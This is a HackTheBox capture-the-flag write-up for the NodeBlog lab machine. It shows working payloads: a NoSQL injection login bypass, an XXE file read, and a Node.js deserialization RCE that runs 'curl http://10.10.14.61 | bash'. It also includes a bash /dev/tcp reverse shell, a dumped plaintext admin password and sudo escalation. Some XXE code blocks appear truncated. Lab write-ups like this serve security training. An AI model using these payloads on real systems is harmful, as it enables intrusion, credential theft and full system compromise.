> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md). # NodeBlog HackTheBox Writeup NodeBlog HackTheBox Easy Linux machine writeup covering NoSQL Injection (Authentication Bypass), XXE File Read, NodeJS Deserialization Attack (IIFE Abusing), Mongo Database Enumeration, with practical {% embed url="" %} {% hint style="warning" %} **Skills:** * NoSQL Injection (Authentication Bypass) * XXE File Read * NodeJS Deserialization Attack (IIFE Abusing) * Mongo Database Enumeration {% endhint %} ## Reconnaissance **VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.
**Open Port Discovery with Nmap:** Enumerate open ports and export the results to the "allPorts" file in the Nmap directory: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139 ```
Port version scan with Nmap 22.5000 Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p22,5000 10.10.11.139 -oN targeted ```
### Port 5000 Analysis - NodeJS Application
* An administration panel is discovered. * The `admin` user is valid.
## NoSQL Injection Vulnerability (Authentication Bypass) Intercepting the request with Burp Suite.
Test classic injection payloads: ```bash username=admin&password[$ne]=toto ``` This does not work. Convert to JSON and change the `Content-Type` to `application/json`: ```sql { "user": "admin", "password": { "$ne": null } } ``` Result: Authentication successful!
## Exploitation of the XXE Injection vulnerability
Upload of a TXT file: refused, only XML files are accepted. ``` Hello this is a test ```
Format requis : ```xml Example Post Example Description Example Markdown ```
Sending an XML file containing an external entity to read `/etc/passwd`: ```xml ]> Example Post Example Description &xxe; ``` Result: The contents of `/etc/passwd` are displayed.
* Discovery of a user `admin`.
Injection to read `/opt/blog/server.js` and identify stored credentials.
```bash ]> Example Post Example Description &xxe; ```
## Leveraging NodeJS deserialization * Discovered a function that deserializes session cookies.
Creating a Payload: {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} Listening to ICMP traffic with: ```bash tcpdump -i tun0 icmp -n ``` * Url Encode:
{% code overflow="wrap" %} ```bash %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} Construction of an RCE via URL Encoding and injection into cookies.
```bash tcpdump -i tun0 icmp -n ```
### RCE - Vulnerability Deserialization (nodejs) Creating a `index.html` reverse shell script: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Starting an HTTP server: ```bash python3 -m http.server 80 ``` Listening: ```bash nc -nlvp 443 ``` #### Sending the Payload : {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} * Url Encode: {% code overflow="wrap" %} ``` %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} Result: Shell access obtained.
### Flag user.txt :)
## Privilege Escalation ### Mongo Database Enumeration
Connection to MongoDB database (port 27017 open): ```bash mongo show dbs use blog show tables db.users.find() ```
* user: admin * password : IppsecSaysPleaseSubscribe
### Sudo (ALL:ALL) Checking sudo privileges: ```bash sudo -l ``` Result: the admin user can run `sudo su` without a password.
Passage en root : ```bash sudo su ```
### Flag root.txt :)
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